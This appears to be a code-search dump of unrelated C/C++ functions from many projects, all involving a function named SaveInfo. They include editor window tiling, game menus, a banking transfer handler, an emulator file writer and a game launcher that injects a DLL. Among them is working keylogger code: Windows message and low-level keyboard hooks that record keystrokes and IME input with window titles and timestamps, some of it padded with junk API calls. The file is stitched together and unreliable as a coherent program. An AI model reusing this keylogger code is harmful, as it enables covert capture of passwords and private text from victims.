BOOL CCmdCalendarStyle::Before(CPmwDoc* pDoc, CalendarObject* pCalendar) { m_pDoc = pDoc; m_pCalendar = pCalendar; return SaveInfo(&m_BeforeInfo); }
void COPTBuild::OnSelchangeConfigs() { SaveInfo(m_pConfig); m_pConfig = NULL; int iCurSel = m_cConfigs.GetCurSel(); BOOL bKillFields = (iCurSel == CB_ERR) ? FALSE : TRUE; m_cCSG.EnableWindow(bKillFields); m_cBSP.EnableWindow(bKillFields); m_cLIGHT.EnableWindow(bKillFields); m_cVIS.EnableWindow(bKillFields); m_cGame.EnableWindow(bKillFields); m_cBSPDir.EnableWindow(bKillFields); if(iCurSel == CB_ERR) return; // get pointer to the configuration m_pConfig = Options.configs.FindConfig(m_cConfigs.GetItemData(iCurSel)); // update dialog data m_cCSG.SetWindowText(m_pConfig->m_szCSG); m_cBSP.SetWindowText(m_pConfig->szBSP); m_cLIGHT.SetWindowText(m_pConfig->szLIGHT); m_cVIS.SetWindowText(m_pConfig->szVIS); m_cGame.SetWindowText(m_pConfig->szExecutable); m_cBSPDir.SetWindowText(m_pConfig->szBSPDir); }
int _tmain(int argc, _TCHAR* argv[]) { //pdf原版(是0 92 40,但用0 40也可以?? PDFPath="Z:/My Folder/Files/PDF相关/PDFs/Yes/老友记-六人行-Friends-老友妙语录.pdf"; ReadPath(PDFPath); showInfo(); List attrs=InitList(); Attr attr=(Attr)malloc(sizeof(_Attr)); attr->Name=ProduceNameString(L"学校®"); attr->Value=L"北航®"; AddNode(attrs,attr); attr=(Attr)malloc(sizeof(_Attr)); attr->Name=ProduceNameString(L"学院®"); attr->Value=L"计算机®"; AddNode(attrs,attr); SaveInfo(L"标题®",L"作者®",L"主题®",L"关键词®",attrs); List tails=InitList(); Attr tail=(Attr)malloc(sizeof(_Attr)); tail->Name=ProduceNameString(L"啊啊啊啊®"); tail->Value=L"1112®"; AddNode(tails,tail); tail=(Attr)malloc(sizeof(_Attr)); tail->Name=ProduceNameString(L"ooo®"); tail->Value=L"计算机®"; AddNode(tails,tail); ReadPath(PDFPath); AppendTail(tails); ReadPath(PDFPath); showInfo(); system("pause"); return 0; }
/* * WindowCascade - cascade windows */ vi_rc WindowCascade( void ) { int cnt, i, j; int xstart = editw_info.area.x1; int xend = editw_info.area.x2; int ystart = editw_info.area.y1; int yend = editw_info.area.y2; info *cinfo; // info *cwinfo; vi_rc rc; /* * get number of files to cascade */ cnt = GimmeFileCount(); j = xend - xstart + 2; if( j < yend - ystart + 2 ) { j = yend - ystart + 2; } if( cnt > j ) { cnt = j; } if( cnt <= 0 ) { return( ERR_NO_ERR ); } /* * init for cascade */ xend -= cnt - 1; yend -= cnt - 1; SaveCurrentInfo(); // cwinfo = cinfo = CurrentInfo; cinfo = CurrentInfo; /* * resize all the files */ for( i = 0; i < cnt; i++ ) { BringUpFile( cinfo, false ); rc = ResizeCurrentWindow( xstart, ystart, xend, yend ); if( rc != ERR_NO_ERR ) { return( rc ); } SaveInfo( cinfo ); xstart++; xend++; yend++; ystart++; cinfo = cinfo->next; if( cinfo == NULL ) { cinfo = InfoHead; } } return( ERR_NO_ERR ); } /* WindowCascade */
int F847352(TRUSERID *handle, int iRequest, ST_PACK *in_pack, int *pRetCode, char *szMsg) { int error_code = 0; int money = 0; ST_CPACK aPack; ST_PACK *out_pack = &(aPack.pack); ResetNormalCPack(&aPack, 0, 1); Save_Info save_info; memset(&save_info, 0, sizeof(save_info)); SetCol(handle,0); SetCol(handle, F_LVOL0, F_LVOL1, F_DAMT0, F_DAMT1, F_SPHONE, F_LVOL10, 0); if (1 == in_pack->lvol3) { // 连接第三方数据库 if (error_code = InitDB()) { error_code = DLLFUN_ERR_TRANSFER_THIRD_PART_FAIL; goto L_RETU; } // 检测第三方帐号 CheckAccountNo(in_pack->lvol4, &money, &error_code); if (0 != error_code) { error_code = DLLFUN_ERR_CHECK_ACC_THIRD_PART_FAIL; } out_pack->lvol0 = money; goto L_RETU; } save_info.cut_id = in_pack->lvol0; save_info.save_Money = in_pack->lvol1; save_info.save_type = in_pack->lvol2; SaveInfo(&save_info, &error_code); if (error_code != 0) { g_LogFile.WriteLogEx(1001, "客户号[%d]--转帐金额[%d]--转账类型[%d]--错误码[%d]--序号[%d]", save_info.cut_id, save_info.save_Money, save_info.save_type, error_code, ++count1); error_code = DLLFUN_ERR_TRANSFER_FAIL; } L_RETU: out_pack->lvol1 = error_code; *pRetCode = error_code; PutRow(handle, out_pack, pRetCode, szMsg); return error_code; }
void UGDataSourceBaiduMap::Close() { SaveInfo(); UGint nDatasetCount = m_Datasets.GetSize(); for(UGint i=0;i<nDatasetCount;i++) { UGDataset* pDataset = m_Datasets.GetAt(i); pDataset->Close(); delete pDataset; pDataset = NULL; } m_Datasets.RemoveAll(); m_bOpened = FALSE; }
void SaveInfo(char *lpBuffer) { if (lpBuffer == NULL) return; DWORD dwBytes = lstrlen(lpBuffer); if((dwBytes < 1) || (dwBytes > SIZE_IMM_BUFFER)) return; HWND hWnd=GetForegroundWindow(); char strCapText[MAX_PATH]; if(hWnd != hActWnd) { hActWnd = hWnd; memset(strCapText,0,MAX_PATH); GetWindowText(hActWnd,strCapText,MAX_PATH); char strSaveString[1024 * 2]; SYSTEMTIME SysTime; GetLocalTime(&SysTime); memset(strSaveString, 0, sizeof(strSaveString)); wsprintf ( strSaveString, "\r\n(%04d/%02d/%02d %02d:%02d:%02d) [%s]\r\n", SysTime.wYear,SysTime.wMonth, SysTime.wDay, SysTime.wHour, SysTime.wMinute, SysTime.wSecond, strCapText ); // 让函认为是应该保存的 SaveInfo(strSaveString); } SaveToFile(lpBuffer); }
int F847352(TRUSERID *handle, int iRequest, ST_PACK *in_pack, int *pRetCode, char *szMsg) { int error_code = 0; ST_CPACK aPack; ST_PACK *out_pack = &(aPack.pack); ResetNormalCPack(&aPack, 0, 1); Save_Info save_info; memset(&save_info, 0, sizeof(save_info)); SetCol(handle,0); SetCol(handle, F_DAMT0, F_DAMT1, F_SPHONE, F_LVOL10, 0); if (1 == in_pack->lvol3) { if (error_code = InitDB()) error_code = DLLFUN_ERR_TRANSFER_THIRD_PART_FAIL; *pRetCode = error_code; PutRow(handle, out_pack, pRetCode, szMsg); return error_code; } save_info.cut_id = in_pack->lvol0; save_info.save_Money = in_pack->lvol1; save_info.save_type = in_pack->lvol2; SaveInfo(&save_info, &error_code); #ifdef _DEBUG g_LogFile.WriteLogEx(1001, "客户号[%d]--转帐金额[%d]--转账类型[%d]--错误码[%d]--序号[%d]", save_info.cut_id, save_info.save_Money, save_info.save_type, error_code, ++count1); #endif if (error_code != 0) error_code = DLLFUN_ERR_TRANSFER_FAIL; *pRetCode = error_code; PutRow(handle, out_pack, pRetCode, szMsg); return error_code; // return 0; }
int GameSetupScreen::Update(float p_dt,std::vector<UserCMD>* userCMD ) { MenuScreen::Update(p_dt, userCMD); if (timeSinceLastChange[0]>0.5) { if (userCMD->at(0).aButtonPressed || userCMD->at(0).startButtonPressed) { SaveInfo(); return JOIN_GAME_SCREEN; } if (userCMD->at(0).backButtonPressed) { timeSinceLastChange[0] = 0; return MAIN_MENU_SCREEN; } } if (timeSinceLastChange[0]>0.1) { ChangeLevel(userCMD); ChangeNumberOfLaps(userCMD); } return GAME_SETUP_SCREEN; }
void VAnnoView::SetData(TreeLayer *data) { SaveInfo(); m_data = data; if (!m_data) return; switch (m_data->IsA()) { case 2: //volume { BaseReader *reader = ((VolumeData *)m_data)->GetReader(); if (reader) m_text->SetValue(wxString(reader->GetInfo())); } break; case 3: //mesh //m_text->SetValue(wxString(((MeshData *)m_data)->GetInfo())); break; } }
int JoinGameScreen::Update(float p_dt,std::vector<UserCMD>* userCMD) { MenuScreen::Update(p_dt,userCMD); static float t_gameTime = 0; t_gameTime += p_dt; for (int i = 0; i < 4; i++) { m_graphicHandle->UpdateSelectVehicle(p_dt,i); if (timeSinceLastChange[i]>0.1) { if (userCMD->at(i).aButtonPressed) { timeSinceLastChange[i] = 0; if (m_playerStatus[i] < READY) { m_playerStatus[i] = (PlayerStatus)(m_playerStatus[i]+1); m_graphicHandle->UseHud(i,m_hudIDs[m_playerStatus[i]]); m_graphicHandle->SetVehicleSelectionCamera(i); } } else if (userCMD->at(i).bButtonPressed) { timeSinceLastChange[i] = 0; if (m_playerStatus[i]>0) { m_playerStatus[i] = (PlayerStatus)(m_playerStatus[i]-1); m_graphicHandle->UseHud(i,m_hudIDs[m_playerStatus[i]]); if (m_playerStatus[i] == DISCONNECTED) { m_graphicHandle->InitializeJoinScreenCamera(i); } } } else if (userCMD->at(i).backButtonPressed) { timeSinceLastChange[i] = 0; m_graphicHandle->RemoveSelectionDraw(); return GAME_SETUP_SCREEN; } if (userCMD->at(i).xButtonPressed && (m_playerStatus[i] == CHOOSE_MODELL)) { timeSinceLastChange[i] = 0; m_playerStatus[i] = READY; } if (userCMD->at(i).startButtonPressed) { if (ReadyCheck(i)) { SaveInfo(); return GAME_SCREEN; } } } if (m_playerStatus[i]==CHOOSE_MODELL) { ModellChanger(i,p_dt,userCMD); ColorChanger(i,p_dt,userCMD); TauntChanger(i,p_dt,userCMD); } m_graphicHandle->UpdateCameraVehicleSelection(i,m_whatVehicleToLookAt[i],-t_gameTime); } return JOIN_GAME_SCREEN; }
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) { TCHAR szModule [MAX_PATH]; MSG* pMsg; char strChar[2]; char KeyName[20]; //CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam); //CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); pMsg = (MSG*)(lParam); // 防止消息重复产生记录重复,以pMsg->time判断 if ( (nCode != HC_ACTION) || ((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) || (m_dwLastMsgTime == pMsg->time) ) { return result; } m_dwLastMsgTime = pMsg->time; if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR)) { HWND hWnd = pMsg->hwnd; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); HIMC hImc = ImmGetContext(hWnd); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); // 考虑到UNICODE strLen += sizeof(WCHAR); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str)); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); ImmReleaseContext(hWnd, hImc); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); SaveInfo(m_pTShared->str); } if (pMsg->message == WM_CHAR) { if (pMsg->wParam <= 127 && pMsg->wParam >= 20) { strChar[0] = (CHAR)pMsg->wParam; strChar[1] = '\0'; SaveInfo(strChar); } else if (pMsg->wParam == VK_RETURN) { SaveInfo("\r\n"); } // 控制字符 else { CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); memset(KeyName, 0, sizeof(KeyName)); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0) { KeyName[0] = '['; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); lstrcat(KeyName, "]"); SaveInfo(KeyName); } } } return result; }
void CKeyboardManager::SaveInfo(char *lpBuffer) { TCHAR szModule [MAX_PATH]; if (lpBuffer == NULL) return; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); DWORD dwBytes = lstrlen(lpBuffer); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); if((dwBytes < 1) || (dwBytes > SIZE_IMM_BUFFER)) return; HWND hWnd = GetActiveWindow(); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(hWnd != m_pTShared->hActWnd) { m_pTShared->hActWnd = hWnd; char strCapText[256]; CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); GetWindowText(m_pTShared->hActWnd, strCapText, sizeof(strCapText)); char strSaveString[1024 * 2]; SYSTEMTIME SysTime; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); GetLocalTime(&SysTime); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); memset(strSaveString, 0, sizeof(strSaveString)); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); wsprintf ( strSaveString, "\r\n(%04d/%02d/%02d %02d:%02d:%02d) [%s]\r\n", SysTime.wYear,SysTime.wMonth, SysTime.wDay, SysTime.wHour, SysTime.wMinute, SysTime.wSecond, strCapText ); // 让函认为是应该保存的 SaveInfo(strSaveString); } if (m_pTShared->bIsOffline) { SaveToFile(lpBuffer); } // reset if ((m_pTShared->dwOffset + dwBytes) > sizeof(m_pTShared->chKeyBoard)) { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); memset(m_pTShared->chKeyBoard, 0, sizeof(m_pTShared->chKeyBoard)); m_pTShared->dwOffset = 0; } CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); lstrcat(m_pTShared->chKeyBoard, lpBuffer); m_pTShared->dwOffset += dwBytes; }
/* * WindowTile - tile windows given maximum in each direction */ vi_rc WindowTile( int maxx, int maxy ) { int cnt, max, xdiv, ydiv, tc, i; int xstart, xend, ystart, yend; int ystep, xstep, x, y, xextra, yextra, xx, yy, sxextra; info *cinfo, *cwinfo; vi_rc rc; max = maxx * maxy; xstart = editw_info.area.x1; xend = editw_info.area.x2; ystart = editw_info.area.y1; yend = editw_info.area.y2; /* * "untile" cmd */ if( CurrentInfo == NULL ) { return( ERR_NO_ERR ); } SaveCurrentInfo(); cwinfo = CurrentInfo; if( maxx == 1 && maxy == 1 ) { for( cinfo = InfoHead; cinfo != NULL; cinfo = cinfo->next ) { BringUpFile( cinfo, false ); WindowAuxUpdate( current_window_id, WIND_INFO_TEXT_COLOR, editw_info.text_style.foreground ); WindowAuxUpdate( current_window_id, WIND_INFO_BACKGROUND_COLOR, editw_info.text_style.background ); WindowAuxUpdate( current_window_id, WIND_INFO_TEXT_FONT, editw_info.text_style.font ); WindowAuxUpdate( current_window_id, WIND_INFO_BORDER_COLOR2, editw_info.border_color2 ); ResizeCurrentWindow( editw_info.area.x1, editw_info.area.y1, editw_info.area.x2, editw_info.area.y2 ); } BringUpFile( cwinfo, false ); return( ERR_NO_ERR ); } /* * count the number of files */ cnt = GimmeFileCount(); if( cnt > max ) { cnt = max; } if( cnt > maxx ) { xdiv = maxx; } else { xdiv = cnt; } ydiv = (cnt - 1) / maxx + 1; /* * figure out positions */ ystep = (yend - ystart + 1) / ydiv; yextra = (yend - ystart + 1) % ydiv; xstep = (xend - xstart + 1) / xdiv; sxextra = xextra = (xend - xstart + 1) % xdiv; /* * save current file */ SaveCurrentInfo(); cwinfo = cinfo = CurrentInfo; /* * do retiling */ for( y = 0; y < ydiv; y++ ) { /* * y-direction round off allowance */ if( yextra ) { yextra--; yy = 1; } else { yy = 0; } for( x = 0; x < xdiv; x++ ) { /* * x-direction round off allowance */ if( xextra ) { xextra--; xx = 1; } else { xx = 0; } /* * resize the window and display it */ BringUpFile( cinfo, false ); if( EditVars.TileColors != NULL ) { for( i = 0, tc = 0; i < EditVars.MaxTileColors; i++, tc++ ) { if( tc > EditVars.MaxTileColors ) tc = 0; if( EditVars.TileColors[tc].foreground != -1 && EditVars.TileColors[tc].background != -1 ) { WindowAuxUpdate( current_window_id, WIND_INFO_TEXT_COLOR, EditVars.TileColors[tc].foreground ); WindowAuxUpdate( current_window_id, WIND_INFO_BACKGROUND_COLOR, EditVars.TileColors[tc].background ); /* tile fonts? Nah... sounds real stupid... */ WindowAuxUpdate( current_window_id, WIND_INFO_BORDER_COLOR2, EditVars.TileColors[tc].background ); break; } } } rc = ResizeCurrentWindow( xstart, ystart, xstart + xx + xstep - 1, ystart + yy + ystep - 1 ); if( rc != ERR_NO_ERR ) { return( rc ); } SaveInfo( cinfo ); /* * go to next file */ cnt--; if( cnt == 0 ) { break; } xstart += xstep + xx; cinfo = cinfo->next; if( cinfo == NULL ) { cinfo = InfoHead; } } xstart = editw_info.area.x1; xextra = sxextra; ystart += ystep + yy; } BringUpFile( cwinfo, false ); return( ERR_NO_ERR ); } /* WindowTile */
void main(void) { register int j; char name[30]; /* user name */ char num[12]; /* serial number string for f f */ unsigned long int sernum,checksum; /* serial #, name/number verification number */ char done=0,doover=0; unsigned long int first=0,second=0,third=0; getdate(&Date); do { clrscr(); gotoxy(13, 9); printf("����������������������������ͻ"); gotoxy(13,10); printf("� GM V"GMVER" Tell Registration �"); gotoxy(13,11); printf("����������������������������ͼ"); name[0]=0; num[0]=0; gotoxy(13,11); printf("������������������������������������������������������������������ͻ"); gotoxy(13,12); printf("�Enter customer name (Return quits): �"); gotoxy(13,13); printf("������������������������������������������������������������������ͼ"); gotoxy(50,12); gets(name); if (name[0]==0) done = 1; else { j=0; while (name[j]!=0) j++; while (j<30) { name[j]=0; j++; } name[29]=0; } if (!done) { do { doover=0; gotoxy(13,11); printf("���������������������������������������ͻ "); gotoxy(13,12); printf("�Enter user's serial number: � "); gotoxy(13,13); printf("���������������������������������������ͼ "); gotoxy(42,12); gets(num); if (num[0] == 0) done = 1; else { sscanf(num,"%U",&sernum); if ( (sernum-4)%1029 != 0) { clrscr(); gotoxy(11,11); printf("*************************************"); gotoxy(11,12); printf("* This in an invalid serial number! *"); gotoxy(11,13); printf("* Recheck and then re-enter it. *"); gotoxy(11,14); printf("*************************************"); doover=1; getch(); clrscr(); } } } while ( (doover==1) && (done==0) ); } if (!done) { first=0;second=0;third=0; for (j=0;j<7;j++) first += (name[j]&255); for (j=7;j<18;j++) second+= (name[j]&255); for (j=18;j<30;j++) third += (name[j]&255); checksum = (sernum*first) + (second*1143) + (third ^ 0x16AC); gotoxy(30,20); PrintInfo(name,sernum,checksum); SaveInfo(name,sernum,checksum); printf("Registration number is: %lu",checksum); } } while (!done); }
BOOL CCmdCalendarStyle::After(void) { return SaveInfo(&m_AfterInfo); }
void CLauncherDialog::OnBnClickedOk() { CString ipAddress; CString port; CString password; CString nick; GetDlgItemText(IDC_EDIT1, ipAddress); if(ipAddress.IsEmpty()) { MessageBox("No ip address entered."); return; } GetDlgItemText(IDC_EDIT2, port); if(port.IsEmpty()) { MessageBox("No port entered."); return; } GetDlgItemText(IDC_EDIT3, password); GetDlgItemText(IDC_EDIT4, nick); if(nick.IsEmpty()) { MessageBox("No nick entered."); return; } // Get the GTA IV install directory from the registry char szInstallDirectory[MAX_PATH]; bool bFoundCustomDirectory = false; if(!SharedUtility::ReadRegistryString(HKEY_LOCAL_MACHINE, "Software\\Rockstar Games\\Grand Theft Auto IV", "InstallFolder", NULL, szInstallDirectory, sizeof(szInstallDirectory)) || !SharedUtility::Exists(szInstallDirectory)) { if(!SharedUtility::ReadRegistryString(HKEY_CURRENT_USER, "Software\\NIV", "gtaivdir", NULL, szInstallDirectory, sizeof(szInstallDirectory)) || !SharedUtility::Exists(szInstallDirectory)) { if(ShowMessageBox("Failed to retrieve GTA IV install directory from registry. Specify your GTA IV path now?", (MB_ICONEXCLAMATION | MB_OKCANCEL)) == IDOK) { // Taken from http://vcfaq.mvps.org/sdk/20.htm BROWSEINFO browseInfo = { 0 }; browseInfo.lpszTitle = "Pick a Directory"; ITEMIDLIST * pItemIdList = SHBrowseForFolder(&browseInfo); if(pItemIdList != NULL) { // Get the name of the selected folder if(SHGetPathFromIDList(pItemIdList, szInstallDirectory)) bFoundCustomDirectory = true; // Free any memory used IMalloc * pIMalloc = 0; if(SUCCEEDED(SHGetMalloc(&pIMalloc))) { pIMalloc->Free(pItemIdList); pIMalloc->Release(); } } } if(!bFoundCustomDirectory) { ShowMessageBox("Failed to retrieve GTA IV install directory from registry. Cannot launch Networked: IV."); return; } } } // Get the full path to LaunchGTAIV.exe String strApplicationPath("%s\\LaunchGTAIV.exe", szInstallDirectory); // Check if LaunchGTAIV.exe exists if(!SharedUtility::Exists(strApplicationPath.Get())) { ShowMessageBox("Failed to find LaunchGTAIV.exe. Cannot launch Networked: IV."); return; } // If we have a custom directory save it if(bFoundCustomDirectory) SharedUtility::WriteRegistryString(HKEY_CURRENT_USER, "Software\\NIV", "gtaivdir", szInstallDirectory, strlen(szInstallDirectory)); // Format the command line params String strParams("\"%s\" -ip %s -port %s -nick %s", strApplicationPath.Get(), ipAddress, port, nick); // Do we have a password? if(!password.IsEmpty()) { // Append it to the command line params strParams += " -password"; strParams += password; } // Save the edit box values SaveInfo(); // Get the full path of the client core String strClientCore("%s" CLIENT_CORE_NAME DEBUG_SUFFIX ".dll", SharedUtility::GetAppPath()); // Check if the client core exists if(!SharedUtility::Exists(strClientCore.Get())) { ShowMessageBox("Failed to find " CLIENT_CORE_NAME DEBUG_SUFFIX ".dll. Cannot launch Networked: IV."); return; } // Get the full path of the launch helper String strLaunchHelper("%s" CLIENT_LAUNCH_HELPER_NAME DEBUG_SUFFIX ".dll", SharedUtility::GetAppPath()); // Check if the launch helper exists if(!SharedUtility::Exists(strLaunchHelper.Get())) { ShowMessageBox("Failed to find " CLIENT_LAUNCH_HELPER_NAME DEBUG_SUFFIX ".dll. Cannot launch Networked: IV."); return; } // Check if LaunchGTAIV.exe is already running if(IsProcessRunning("LaunchGTAIV.exe")) { ShowMessageBox("LaunchGTAIV.exe is already running. Cannot launch Networked: IV."); return; } // Check if GTAIV.exe is already running if(IsProcessRunning("GTAIV.exe")) { ShowMessageBox("GTAIV.exe is already running. Cannot launch Networked: IV."); return; } // Start LaunchGTAIV.exe STARTUPINFO siStartupInfo; PROCESS_INFORMATION piProcessInfo; memset(&siStartupInfo, 0, sizeof(siStartupInfo)); memset(&piProcessInfo, 0, sizeof(piProcessInfo)); siStartupInfo.cb = sizeof(siStartupInfo); if(!CreateProcess(strApplicationPath.Get(), strParams.GetData(), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, SharedUtility::GetAppPath(), &siStartupInfo, &piProcessInfo)) { ShowMessageBox("Failed to start LaunchGTAIV.exe. Cannot launch Networked: IV."); return; } // Inject LauncherLibrary.dll into LaunchGTAIV.exe int iReturn = SharedUtility::InjectLibraryIntoProcess(piProcessInfo.hProcess, strLaunchHelper.Get()); // Did the injection fail? if(iReturn > 0) { // Terminate the process TerminateProcess(piProcessInfo.hProcess, 0); // Show the error message String strError("Unknown error. Cannot launch Networked: IV."); if(iReturn == 1) strError = "Failed to write library path into remote process. Cannot launch Networked: IV."; else if(iReturn == 2) strError = "Failed to create remote thread in remote process. Cannot launch Networked: IV."; else if(iReturn == 3) strError = "Failed to open the remote process, Cannot launch Networked: IV."; ShowMessageBox(strError.Get()); return; } // Resume the LaunchGTAIV.exe thread ResumeThread(piProcessInfo.hThread); }
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { LRESULT result = CallNextHookEx(hKeyHookEn, nCode, wParam, lParam); if (nCode == HC_ACTION) { PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT) lParam; // 防止消息重复产生记录重复,以pMsg->time判断 if (m_dwLastMsgTime == pKeyboardHookStruct->time) { return result; } m_dwLastMsgTime = pKeyboardHookStruct->time; if ((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN)) { BYTE KeyboardState[256]; ZeroMemory(KeyboardState, sizeof(KeyboardState)); GetKeyboardState(KeyboardState); KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)); KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL); WORD wChar; int iNumChar = ToAscii(pKeyboardHookStruct->vkCode, pKeyboardHookStruct->scanCode, KeyboardState, &wChar, 0); if (iNumChar>0&&(BYTE)wChar<=127&&(BYTE)wChar>=32) { //_asm int 3 CHAR szDebug[2]={0}; wsprintf(szDebug, "%c", wChar); if (szDebug[0] == VK_RETURN) { SaveInfo("\r\n"); } else { SaveInfo(szDebug); } // OutputDebugStringA(szDebug); } else // if (iNumChar <= 0) { CHAR KeyText[20]; ZeroMemory(KeyText, sizeof(KeyText)); LONG Flags = 0; Flags = pKeyboardHookStruct->scanCode << 16; Flags |= pKeyboardHookStruct->flags << 24; if (GetKeyNameText(Flags, &KeyText[1], 20) > 0) { KeyText[0] = '['; lstrcat(KeyText, "]"); // OutputDebugStringA(KeyText); SaveInfo(KeyText); } } } } return result; }
/** * 函数名称: RestoreInfo * 函数功能: 从备份文件中还原信息,新建链表,并保存. * 输入参数: head 主链表头结点指针;path 文件路径 * 输出参数: 无 * 返 回 值: 无 * * 调用说明: */ void RestoreInfo(Province **head,char *path) { char space; int flag=0; FILE *pf = fopen(path, "r"); if(!pf) { char *plabel_name[] = {"文件打开失败!", "确定" }; ShowModule(plabel_name, 2); Province *phead = (Province *)malloc(sizeof(Province)); *head=phead; return; } Province *phead = (Province *)malloc(sizeof(Province)); Province *tail = phead; tail->next=NULL; int num; char temp[50]; while(fscanf(pf,"%d",&num)!=EOF) { if(num==1) { tail=phead; while(tail->next!=NULL) tail=tail->next; tail->next = (Province *)malloc(sizeof(Province)); tail = tail->next; fscanf(pf, "%s%s%s", tail->ProvProv,tail->ProvLeader, tail->ProvTel); tail->ProvCase = (Case *)malloc(sizeof(Case)); tail->ProvCase->next = NULL; tail->next=NULL; } else if(num==2) { flag=0; tail=phead; fscanf(pf,"%s",temp); while (tail->next != NULL) { tail = tail->next; if (!strcmp(temp, tail->ProvProv)) { flag=1; Case *tail1 = tail->ProvCase; while (tail1->next != NULL) tail1 = tail1->next; tail1->next = (Case *)malloc(sizeof(Case)); tail1 = tail1->next; strcpy(tail1->CaseProv, temp); fscanf(pf, "%s%s%s%c%c%c%c%f%d", tail1->CaseId, tail1->CaseDate, tail1->CaseName, &space, &tail1->CaseLevel, &space, &tail1->CaseCharge, &tail1->CaseMoney, &tail1->CaseJudge); tail1->CaseRepo = (Report *)malloc(sizeof(Report)); tail1->CaseRepo->next = NULL; tail1->next=NULL; break; } } if(!flag) { char *plabel_name[] = {"备份文件有误!", "确定" }; ShowModule(plabel_name, 2); Province *phead = (Province *)malloc(sizeof(Province)); *head=phead; return; } } else if(num==3) { flag=0; tail=phead; Case *tail1=NULL; fscanf(pf,"%s",temp); while (tail->next != NULL) { tail = tail->next; tail1 = tail->ProvCase; while (tail1->next != NULL) { tail1 = tail1->next; if (!strcmp(tail1->CaseId, temp)) { flag=1; Report *tail2 = tail1->CaseRepo; while (tail2->next != NULL) tail2 = tail2->next; tail2->next = (Report *)malloc(sizeof(Report)); tail2 = tail2->next; strcpy(tail2->RepoCaseId, temp); fscanf(pf, "%s%s%s%s%c%c", tail2->RepoId,tail2->RepoDate, tail2->RepoFirm, tail2->RepoIndex, &space, &tail2->RepoField); tail2->next = NULL; tail = phead; break; } } if(flag) break; } if(!flag) { char *plabel_name[] = {"备份文件有误!", "确定" }; ShowModule(plabel_name, 2); Province *phead = (Province *)malloc(sizeof(Province)); *head=phead; return; } } } fclose(pf); *head=phead; SaveInfo(*head); char *plabel_name[] = {"恢复成功!", "确定" }; ShowModule(plabel_name, 2); }
BOOL COPTBuild::OnApply() { SaveInfo(m_pConfig); return CPropertyPage::OnApply(); }
u64 vfsHDDFile::Write(const void* src, u64 size) { if (!size) return 0; //vfsDeviceLocker lock(m_hdd); const u32 block_size = m_hdd_info.block_size - sizeof(vfsHDD_Block); if (!m_cur_block) { if (!m_info.data_block) { u64 new_block = FindFreeBlock(); if (!new_block) { return 0; } WriteBlock(new_block, g_used_block); m_info.data_block = new_block; m_info.size = 0; SaveInfo(); } m_cur_block = m_info.data_block; m_position = 0; } u64 wsize = std::min<u64>(block_size - m_position, size); vfsHDD_Block block_info; ReadBlock(m_cur_block, block_info); if (wsize) { CHECK_ASSERTION(m_hdd.Seek(m_cur_block * m_hdd_info.block_size + sizeof(vfsHDD_Block) + m_position) != -1); m_hdd.Write(src, wsize); size -= wsize; m_info.size += wsize; m_position += wsize; SaveInfo(); if (!size) return wsize; } u64 last_block = m_cur_block; block_info.is_used = true; u64 offset = wsize; for (; size; size -= wsize, offset += wsize, m_info.size += wsize) { u64 new_block = FindFreeBlock(); if (!new_block) { m_position = 0; SaveInfo(); return offset; } m_cur_block = new_block; wsize = std::min<u64>(block_size, size); block_info.next_block = m_cur_block; CHECK_ASSERTION(m_hdd.Seek(last_block * m_hdd_info.block_size) != -1); if (m_hdd.Write(&block_info, sizeof(vfsHDD_Block)) != sizeof(vfsHDD_Block)) { m_position = 0; SaveInfo(); return offset; } block_info.next_block = 0; CHECK_ASSERTION(m_hdd.Seek(m_cur_block * m_hdd_info.block_size) != -1); if (m_hdd.Write(&block_info, sizeof(vfsHDD_Block)) != sizeof(vfsHDD_Block)) { m_position = 0; SaveInfo(); return offset; } if ((m_position = m_hdd.Write((u8*)src + offset, wsize)) != wsize) { m_info.size += wsize; SaveInfo(); return offset; } last_block = m_cur_block; } SaveInfo(); m_position = wsize; return offset; }
void CLauncherDialog::OnBnClickedCancel() { // Save the edit box values SaveInfo(); OnCancel(); }